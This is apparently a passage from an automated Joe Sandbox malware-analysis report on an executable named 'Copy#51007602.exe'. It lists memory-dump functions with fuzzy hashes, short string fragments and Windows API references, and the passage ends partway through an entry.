Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e38fd3d52917189d0a853fd051fd49b36fd4a43d146a1c763f4d94135a0e23c2
Instruction ID: cda8c56a8c0caff138bec109cb2e8e0bc015ee6b8c0894120dd632bc6844cf7b
Opcode Fuzzy Hash: e38fd3d52917189d0a853fd051fd49b36fd4a43d146a1c763f4d94135a0e23c2
Instruction Fuzzy Hash: C141EEB5C042589FCB00CFA9D584AEEFBF4BF49310F24946AE415B7240C738AA85CFA4

Function 055080D2 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126108804.0000000005500000.00000040.00000800.00020000.00000000.sdmp, Offset: 05500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5500000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b4bb049814e4ca605852a09fdad98da054a9a457530fee6e5f8735d09b3d5a6
Instruction ID: 037c1ede77be3ec3caa9d99499727a7b674130bc07525a74bd63fb1caef94a99
Opcode Fuzzy Hash: 4b4bb049814e4ca605852a09fdad98da054a9a457530fee6e5f8735d09b3d5a6
Instruction Fuzzy Hash: 0E310075D05208CFCB00CFA9E484BEEFBB0BF49314F14902AE445B7291C7389A85CBA4

Function 04F10006 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9809c7958cc102056d3c22388473fecc04cfe7e4a371331519c62b59f4811a1
Instruction ID: 0a2ce59e44c87ad533c68841159d97f8a35d8e8d36d41efc5d42da6eaa83ace5
Opcode Fuzzy Hash: a9809c7958cc102056d3c22388473fecc04cfe7e4a371331519c62b59f4811a1
Instruction Fuzzy Hash: 9F3123B2D096548FEB19CF2B8C551DDBFB3AFC5300F08C0AAC449AA266EA340947DF11

Function 0571001F Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126459321.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a218460c059d7ea8d42492f9a000bc7ee554b70ca08c4c39a62bf4eaeb6d975
Instruction ID: d15f3376ec0ff90ed39b16f37228547fd01564b2614e7c1ebea4f76140d27a57
Opcode Fuzzy Hash: 5a218460c059d7ea8d42492f9a000bc7ee554b70ca08c4c39a62bf4eaeb6d975
Instruction Fuzzy Hash: 4B312B70D046559FDB29CF6B885839DBBB3BFC9300F14C1FAC808AA255DB7509869F10

Function 05710040 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126459321.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d2a3f1617b6d4eefb15d061aa6cf21ed2f5fa97dc7f70d291f653ac3be5740a
Instruction ID: 2457c7621eebd9968286bbd737378831f09f9c95ffc707e51c37c6c6f077504b
Opcode Fuzzy Hash: 7d2a3f1617b6d4eefb15d061aa6cf21ed2f5fa97dc7f70d291f653ac3be5740a
Instruction Fuzzy Hash: 4821B871D04629DBEB28CFAB884469EFAF7BFC8300F14C1BAD40DA6254EB7409859F50

Function 04F10040 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2123016154.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f10000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c31325f5c8d0b18cb7ad7712407009c3a1721e5f6b80d06bcad6fdaa2f85ca
Instruction ID: eac11fe378cfc036f40061946af719bdb2053fe4a57784f89ad6d82c13bac212
Opcode Fuzzy Hash: d8c31325f5c8d0b18cb7ad7712407009c3a1721e5f6b80d06bcad6fdaa2f85ca
Instruction Fuzzy Hash: EF21C871E05618CBDB18CF6BC9006DDFAF7AFC9300F14C1AA840CA6224EB341A869F00

Function 0571003B Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2126459321.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3941bcad5a25bd29b5bcc460bc858e32c530f7098440b97f042b1af600edad8a
Instruction ID: 2c5b24c56384c91aa286345f2b78377acebe2eeaf3360fa3ec7926abae1e3f8a
Opcode Fuzzy Hash: 3941bcad5a25bd29b5bcc460bc858e32c530f7098440b97f042b1af600edad8a
Instruction Fuzzy Hash: E721A971D046299BEB29CF6B8C5879EBAF7BFC4300F14C1BAD40CA6254DB7409869F10

Function 04EF8D70 Relevance: 7.9, Strings: 6, Instructions: 404COMMON

Download Yara Rule

Strings

4']q, xrefs: 04EF8E42
(aq, xrefs: 04EF8F3A
paq, xrefs: 04EF8EC7
4']q, xrefs: 04EF8E24
4']q, xrefs: 04EF8EBA
4']q, xrefs: 04EF8DF4

Memory Dump Source

Source File: 00000000.00000002.2122893814.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: (aq$4']q$4']q$4']q$4']q$paq
API String ID: 0-463314800
Opcode ID: 084ded8bab9fdfb4a88edf83122730b1edcaf2d44d6ec226aa2c34168e3663f5
Instruction ID: 9c1416cb2e60555fec03ccda10c743d56e3ac7af9a9caa7c77946b0fb15f0888
Opcode Fuzzy Hash: 084ded8bab9fdfb4a88edf83122730b1edcaf2d44d6ec226aa2c34168e3663f5
Instruction Fuzzy Hash: 0BD18F32A00105DFCB09DF68D944E99BBB6FF88314F0684E8E609AB236D735ED55DB50

Function 05728FD8 Relevance: 5.1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

Strings

\s]q, xrefs: 0572947B
(o]q, xrefs: 05729445
(o]q, xrefs: 0572945B
', xrefs: 05729028

Memory Dump Source

Source File: 00000000.00000002.2126459321.0000000005710000.00000040.00000800.00020000.00000000.sdmp, Offset: 05710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5710000_Copy#51007602.jbxd

Similarity

API ID:
String ID: '$(o]q$(o]q$\s]q
API String ID: 0-1896924805
Opcode ID: 0783bedeef4db1e0a63b3f27ccca7ce9b59f16d29d25f8973f5e2de93158e1bb
Instruction ID: c27c858d46111ea20f3ec57eb74311cbe73c963b69fb9d51ebb8004693964646
Opcode Fuzzy Hash: 0783bedeef4db1e0a63b3f27ccca7ce9b59f16d29d25f8973f5e2de93158e1bb
Instruction Fuzzy Hash: 7031F870D05229CFDB24CF29CD54BEDB7B6BB89300F0486EAD619A7290DB705A84DF45

Analysis Process: Copy#51007602.exePID: 4084, Parent PID: 6008COMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	153
Total number of Limit Nodes:	17

Executed Functions

Function 06FE2388 Relevance: 9.0, Strings: 6, Instructions: 1488COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FE3752
$]q, xrefs: 06FE3746
$]q, xrefs: 06FE3793
$]q, xrefs: 06FE379F
$]q, xrefs: 06FE376F
$]q, xrefs: 06FE377B

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 10a61f88b03d15ad292216b2c88acc01808f7efb53bdb4d27f66dc6fecdd632e
Instruction ID: e89c8fd8db6b0a091c97b525b266aa8d6425160503451930454abf45486099bb
Opcode Fuzzy Hash: 10a61f88b03d15ad292216b2c88acc01808f7efb53bdb4d27f66dc6fecdd632e
Instruction Fuzzy Hash: 2AD26A34E00209CFDB64DF68C488A9DBBF6FF85314F5485AAD409AB265EB34ED85CB50

Function 06FEB250 Relevance: 8.3, Strings: 6, Instructions: 769COMMON

Download Yara Rule

Strings

$]q, xrefs: 06FEBBEB
$]q, xrefs: 06FEBB8F
$]q, xrefs: 06FEBBF7
$]q, xrefs: 06FEBBB7
$]q, xrefs: 06FEBB83
$]q, xrefs: 06FEBBC3

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 80bface151475026d15f65d4acd8514c2a6b83ea554de6c8777639124904b41e
Instruction ID: ffecea02ca978cb8c67ff875ef0e70c666d59617ecb1a3bbf3ca5a75b631aaf2
Opcode Fuzzy Hash: 80bface151475026d15f65d4acd8514c2a6b83ea554de6c8777639124904b41e
Instruction Fuzzy Hash: 9B525E30E0020A9FDB64CF6DD6947AEBBB6FB45310F20892AE409DB355DA35DC81CB91

Function 06FE7D90 Relevance: 3.0, Strings: 2, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06FE82FC
$]q, xrefs: 06FE8308

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 118c2e9abc9209aad3a70f2c87a6478d2ef1e5a90d55ed389d3eed00f9874d2e
Instruction ID: 7d2b6f1b1f5204b25d6956433423a632e5172f57e3943f579cc2b605928f1cab
Opcode Fuzzy Hash: 118c2e9abc9209aad3a70f2c87a6478d2ef1e5a90d55ed389d3eed00f9874d2e
Instruction Fuzzy Hash: E702BE30B002199FDB54EF68E494AAEBBF2FF84354F108529D4199B395DB35EC86CB81

Function 06FE6600 Relevance: .8, Instructions: 807COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f6167c7990dedb0cf2b8a26caf9ea12700523b91c952861294e7733d921ab3
Instruction ID: 568ef22d69bb047ac9b67388db9785e6c83e6f5c445802134efb842bf8fc1ebf
Opcode Fuzzy Hash: e5f6167c7990dedb0cf2b8a26caf9ea12700523b91c952861294e7733d921ab3
Instruction Fuzzy Hash: 15628D34F002099FDB64DB68D594AADBBF2EF84314F648469E40ADB395DB35EC42CB81

Function 06FEC190 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d7a1147c05a60a9b3c22996a2bb7c4a0f952315f276df774524998cf9d42348
Instruction ID: c160093ac983ca7d2f5f526f53a23c6015e2c6b714ada698a2eec66d7e99317b
Opcode Fuzzy Hash: 6d7a1147c05a60a9b3c22996a2bb7c4a0f952315f276df774524998cf9d42348
Instruction Fuzzy Hash: BF329F34F102099FDB54DB68E884BADBBB6FB88310F108529E515DB395DB34EC46CB91

Function 06FE55B0 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e4aecdbed737d0e4b50a8c983a2a1142949c4142314c1c7083a5587e1b913f0
Instruction ID: 9fa2714a30b1cb0a65a894c019e79fa1cca1d9676f2b19bdf1c7072160136a26
Opcode Fuzzy Hash: 9e4aecdbed737d0e4b50a8c983a2a1142949c4142314c1c7083a5587e1b913f0
Instruction Fuzzy Hash: 0C22C375F002198FDF64CFA8C4906AEBBB2FF85318F208469D456AB344DA36DD42CB91

Function 06FEACE8 Relevance: 10.4, Strings: 8, Instructions: 400
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06FEAE09
$]q, xrefs: 06FEAE5C
$]q, xrefs: 06FEAEC0
$]q, xrefs: 06FEAEB4
$]q, xrefs: 06FEAE15
$]q, xrefs: 06FEAE97
$]q, xrefs: 06FEAE68
$]q, xrefs: 06FEAE8B

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-1273862796
Opcode ID: 952c247eb38dc4617aaf4dffadf4f70c81337e251810a262a2b52b3106871f4d
Instruction ID: b55c8eacfff69f5b7912c656ecf88ff8bc6d578552786bf360d02a97d2b2baf7
Opcode Fuzzy Hash: 952c247eb38dc4617aaf4dffadf4f70c81337e251810a262a2b52b3106871f4d
Instruction Fuzzy Hash: FFE18E30F102098FCB69DF69D9946AEBBB6FF85304F208529D805AB355DB34EC46CB91

Function 06FD2E08 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06FD2E86
GetCurrentThread.KERNEL32 ref: 06FD2EC3
GetCurrentProcess.KERNEL32 ref: 06FD2F00
GetCurrentThreadId.KERNEL32 ref: 06FD2F59

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f1a6e1f6ce80f73ae4a2530804450612cc602660f367d466f74281d3bda1d783
Instruction ID: 6506bd971aa8a1f7a5149e4596d1ac45687b6f9f21b254a998d2085158ca3325
Opcode Fuzzy Hash: f1a6e1f6ce80f73ae4a2530804450612cc602660f367d466f74281d3bda1d783
Instruction Fuzzy Hash: 5E5137B0D003098FDB54DFA9D648BAEBBF6FF48314F248459D119A7250D738A944CBA5

Function 06FD2E02 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 06FD2E86
GetCurrentThread.KERNEL32 ref: 06FD2EC3
GetCurrentProcess.KERNEL32 ref: 06FD2F00
GetCurrentThreadId.KERNEL32 ref: 06FD2F59

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 15342f10642b265088ffb38ecd475c385bc4d9f4081371104b691be0eba54724
Instruction ID: 0723eb284720b92012ccc65f8c0019c3ed84462087220ed7b7fe9b871ad7465c
Opcode Fuzzy Hash: 15342f10642b265088ffb38ecd475c385bc4d9f4081371104b691be0eba54724
Instruction Fuzzy Hash: 6D5126B4D003098FDB54DFA9D648BAEBBF2FF48314F248459D119A7260D738A984CFA5

Function 06FE9160 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06FE91D0
$]q, xrefs: 06FE91DC
$]q, xrefs: 06FE9217
$]q, xrefs: 06FE920B

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 6f6b66e56c0d4365248c58e7182b92443e08112cb9263ac4ab78bece3824c3bd
Instruction ID: ead51680c81cc53a09deb8b2ec118ae42d7162b2da3d3de440a1499b83bee9e3
Opcode Fuzzy Hash: 6f6b66e56c0d4365248c58e7182b92443e08112cb9263ac4ab78bece3824c3bd
Instruction Fuzzy Hash: 53915130F0020A9FDB54DF69D854BAEB7F6FF84244F508465C809EB345EE74AD468BA2

Function 06FECF58 Relevance: 4.5, Strings: 3, Instructions: 798
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06FED35F
$]q, xrefs: 06FED34B
$]q, xrefs: 06FED353

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q
API String ID: 0-182748909
Opcode ID: 18da603910e8dd52ac7bf2a2174a9c35f9f2a3038d2974a92ab66f791f0858d1
Instruction ID: 0cf343d73e2a0d02703677c12188447a0cc2eb24776dda3869fae17bc896116f
Opcode Fuzzy Hash: 18da603910e8dd52ac7bf2a2174a9c35f9f2a3038d2974a92ab66f791f0858d1
Instruction Fuzzy Hash: 40625E30B0020A9FCB55DF68E594A5EBBF6FF84354B208928D0099F769DB75EC46CB81

Function 06FE4B80 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Obq, xrefs: 06FE4D37
fbq, xrefs: 06FE528D
XPbq, xrefs: 06FE4CAD

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: fbq$XPbq$\Obq
API String ID: 0-4057264190
Opcode ID: 66c61799904d174c3f18004c1a711dec3ffbde0ae7a8b69e9bc045d32139baf8
Instruction ID: 047d4494fcb91eba7f69d3d9d4842893468c9058b1555648fd48afe5359e4e37
Opcode Fuzzy Hash: 66c61799904d174c3f18004c1a711dec3ffbde0ae7a8b69e9bc045d32139baf8
Instruction Fuzzy Hash: 02616174F002099FEB649FA5C4547AEBBF6FB88300F208429E109AB395DF755C418F91

Function 06FE914F Relevance: 2.7, Strings: 2, Instructions: 174
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06FE91D0
$]q, xrefs: 06FE920B

Memory Dump Source

Source File: 00000002.00000002.3255518644.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fe0000_Copy#51007602.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: c9b6b462dbd57b1453c90111bbb341348fcc2c5ef7698f6ea96e41d9139b36e0
Instruction ID: 939c4ffc3b9928e510d5fca318a8ef606af7451c679908a88a1b424878d9c5c3
Opcode Fuzzy Hash: c9b6b462dbd57b1453c90111bbb341348fcc2c5ef7698f6ea96e41d9139b36e0
Instruction Fuzzy Hash: 0E517030F001069FDB54DB78E854B6EB7F6EFC4654F108469C809DB385EE74AD468BA1

Function 06FDB318 Relevance: 1.7, APIs: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 06FDB57E

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 2632ddbfbc08f15c0b68d509f459364459f3e3471abb20571d52b7ff6f4ab365
Instruction ID: 421de2ac2a48e7faaa5e76a25c359c093bd6a9819d59d0aa2c965db0fea8c195
Opcode Fuzzy Hash: 2632ddbfbc08f15c0b68d509f459364459f3e3471abb20571d52b7ff6f4ab365
Instruction Fuzzy Hash: A28146B0A00B058FD764DF2AD44575ABBF2FF89204F088A2ED49AD7A50DB35F845CB91

Function 030FEAE0 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3234965380.00000000030F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30f0000_Copy#51007602.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 571f9db9f8f3aa24dcd3f809c479240b2e2ef83e7f572b7a9c9c3ddae7e5513c
Instruction ID: ad71080202bff72b88b1310c01080bd63609838266e3739865064ada71f4f38f
Opcode Fuzzy Hash: 571f9db9f8f3aa24dcd3f809c479240b2e2ef83e7f572b7a9c9c3ddae7e5513c
Instruction Fuzzy Hash: E1412672D003498FCB14DFA9D4446EEBBF5AF89310F14856AD904A7751EB38A845CBD0

Function 06FDD504 Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06FDD622

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 293dabc6c54c1dba7820588679c31864434b224f446eac6e1b2597d9378e9e78
Instruction ID: 18728a1207f33dc1e20f787e25eeaf4a42aac2980417079414d2171eaecd98d2
Opcode Fuzzy Hash: 293dabc6c54c1dba7820588679c31864434b224f446eac6e1b2597d9378e9e78
Instruction Fuzzy Hash: BF51D0B1D00349DFDB14CFA9C984ADEBFB6BF49310F24852AE419AB250D775A885CF90

Function 06FDD510 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 06FDD622

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1b4728aef3207b628f280ae866bd53b7a02d3b88f6a63cf5b421890a29473bac
Instruction ID: c87d7fc8afc4b77e68c5806ea55af24d5ef53dfef10a63fb275ae388cd025dd0
Opcode Fuzzy Hash: 1b4728aef3207b628f280ae866bd53b7a02d3b88f6a63cf5b421890a29473bac
Instruction Fuzzy Hash: A941B0B1D003099FDB14CF99C984ADEBBB6FF49314F24812AE819AB250D775A845CF90

Function 06FDE49C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06FDFD11

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 7e684d012fbcca5aaced36eda2bc50c81554134af429078e723da313cdd7e7b1
Instruction ID: 582a152f0090f579d8b1042bd681c46adf7b74f07e6b6bd7203447e498649b4c
Opcode Fuzzy Hash: 7e684d012fbcca5aaced36eda2bc50c81554134af429078e723da313cdd7e7b1
Instruction Fuzzy Hash: B9412AB5900309CFDB54DF99C448EAABBF6FF89314F288459D519AB321D774A841CFA0

Function 06FD3048 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06FD30D7

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d4a04decd34c58fb7d5c4b77a1b1cfc1e63b358d39c4fd03026e77a540c04e9b
Instruction ID: 209a9fb05ab6e49334c5cc713b7cf5f4221bd0c9282ab792d9af2ab52268c817
Opcode Fuzzy Hash: d4a04decd34c58fb7d5c4b77a1b1cfc1e63b358d39c4fd03026e77a540c04e9b
Instruction Fuzzy Hash: 8321E2B5D002089FDB10CFAAD984AEEBFF5FB48310F14801AE918A7350D379A944CFA1

Function 06FD3050 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06FD30D7

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f4313ebb9c401e884439e445242d77cc93a5637601c22e6615c9a9c91adffb48
Instruction ID: c138bbd866308b6da2e6f31238b7b93eb0b4f6b0f9c0c8fa72ca4771f2a5a73a
Opcode Fuzzy Hash: f4313ebb9c401e884439e445242d77cc93a5637601c22e6615c9a9c91adffb48
Instruction Fuzzy Hash: C721C4B5D002489FDB10CF9AD984ADEFBF9FB49310F14841AE918A7350D379A944CFA5

Function 030FE248 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(?,?,?,?,?,?,?,?,?,030FEB32), ref: 030FEC1F

Memory Dump Source

Source File: 00000002.00000002.3234965380.00000000030F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30f0000_Copy#51007602.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 2deb594d794376689b58f9eca515ea20ee7bf2baf31154f21cbb87df81b058fb
Instruction ID: 3b3b6e30e4b3b490d6cfea8757f85cdcd0e07efba80a644feecf70d4de967a11
Opcode Fuzzy Hash: 2deb594d794376689b58f9eca515ea20ee7bf2baf31154f21cbb87df81b058fb
Instruction Fuzzy Hash: 461112B1C016599FCB10DF9AC544BAEFBF4EF48720F14816AE918A7250D778A944CFE1

Function 06FDA2D0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,06FDB5F9,00000800,00000000,00000000), ref: 06FDB7EA

Memory Dump Source

Source File: 00000002.00000002.3255348099.0000000006FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6fd0000_Copy#51007602.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cc6c2e3eb1f5decf7114a69577d6d2945353eb057e8c6f5c82aea4c9b8087ea1
Instruction ID: ccfc46ddd0c04afe4f241a0c904080d2fc0f44b9d66a37e4467baa593e2662fa
Opcode Fuzzy Hash: cc6c2e3eb1f5decf7114a69577d6d2945353eb057e8c6f5c82aea4c9b8087ea1
Instruction Fuzzy Hash: 651114B6D002499FDB10DF9AC444ADEFBF9EF48310F14842EE519A7210C379A545CFA5

Function 06FDB77B Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

